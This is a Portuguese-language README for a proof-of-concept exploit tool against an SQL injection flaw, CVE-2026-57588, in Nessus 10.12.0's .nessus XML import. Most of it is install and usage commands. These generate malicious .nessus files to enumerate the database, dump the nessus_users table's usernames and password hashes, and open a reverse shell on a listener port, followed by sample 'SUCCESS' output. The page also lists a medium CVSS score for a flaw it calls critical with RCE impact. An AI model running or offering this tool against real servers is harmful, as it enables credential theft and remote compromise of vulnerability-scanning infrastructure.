
PoC para CVE-2026-57588 - Injeção SQL na importação XML do Nessus 10.12.0. Gera arquivos .nessus maliciosos para enumerar bancos de dados, exfiltrar credenciais e testar injeção cega baseada em tempo. Para pesquisa de segurança autorizada. Autor: Sudeepa Wanigarathna. Corrigido na versão 10.12.1.
CVE-2026-57588 é uma vulnerabilidade crítica de injeção SQL descoberta no Tenable Nessus versões 10.12.0 e anteriores. A vulnerabilidade reside no mecanismo de análise de XML ao importar arquivos de resultados de varredura .nessus, permitindo que usuários autenticados com privilégios de importação executem consultas SQL arbitrárias no banco de dados PostgreSQL de backend.
| Propriedade | Valor |
|---|---|
| ID do CVE | CVE-2026-57588 |
| Tipo de Vulnerabilidade | Injeção SQL |
| Produtos Afetados | Tenable Nessus 10.12.0 e anteriores |
| Versão Corrigida | Nessus 10.12.1 e posteriores |
| Pontuação CVSS | 4.3 (Média) |
| Vetor de Ataque | Rede |
| Complexidade do Ataque | Baixa |
| Privilégios Necessários | Autenticado (permissões de importação) |
| Interação do Usuário | Necessária (engenharia social) |
| Impacto | Exfiltração de dados, RCE |
A vulnerabilidade existe devido à sanitização insuficiente dos valores das tags XML antes de serem incorporados em consultas SQL durante o processo de importação. Um agente malicioso pode criar um arquivo .nessus contendo payloads de injeção SQL especialmente elaborados em tags XML, tais como:
hostnamefqdnossystem-typemac-addressnetbios-nameQuando um usuário privilegiado importa o arquivo malicioso, os valores não sanitizados são executados no backend PostgreSQL, permitindo:
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
# Create and activate virtual environment
python3 -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 exploit.py --version
# Build the Docker image
docker build -t nessus-exploit .
# Run the tool
docker run -it --rm nessus-exploit generate -u https://test.com -p enum
# Install as a package
pip install -e .
# Now you can run from anywhere
nessus-exploit generate -u https://test.com -p enum
# Generate a basic enumeration exploit
python3 exploit.py generate -u https://test.com -p enum
# Generate advanced multi-stage exploit
python3 exploit.py generate -u https://test.com -p advanced -o exploit.nessus
# Extract data from database
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
# Show general help
python3 exploit.py --help
# Show generate command help
python3 exploit.py generate --help
# List all available payloads
python3 exploit.py list
python3 exploit.py generate -u https://test.com -p enum
[2026-07-22 10:15:23] [INFO] [*] Starting exploitation against https://test.com
[2026-07-22 10:15:23] [INFO] [*] Session: xK9mN2pQ5wR8yV7tJ4sL3fG6hD1
[2026-07-22 10:15:23] [INFO] [*] Payload: enum
[2026-07-22 10:15:23] [INFO] [*] Executing stage: fingerprint
[2026-07-22 10:15:24] [INFO] [+] Generated XML: exploit_20260722_fingerprint_101523.nessus (3847 bytes)
[2026-07-22 10:15:24] [INFO] [*] Executing stage: schema_dump
[2026-07-22 10:15:25] [INFO] [+] Generated XML: exploit_20260722_schema_dump_101524.nessus (4213 bytes)
[2026-07-22 10:15:25] [INFO] [+] Exploitation complete! Duration: 2.15s
============================================================
EXPLOITATION SUMMARY
============================================================
Target: https://test.com
Status: SUCCESS
Duration: 2.15s
Files Generated: 3
Reports Generated: 3
============================================================
python3 exploit.py generate -u https://test.com -p advanced -o custom.nessus -v
# Extract user credentials
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
# Extract with custom columns
python3 exploit.py generate -u https://test.com -p dump --table scan_results --columns scan_name,start_time,status
# Start listener and generate exploit
python3 exploit.py generate -u https://test.com -p shell -lp 4444 -o shell.nessus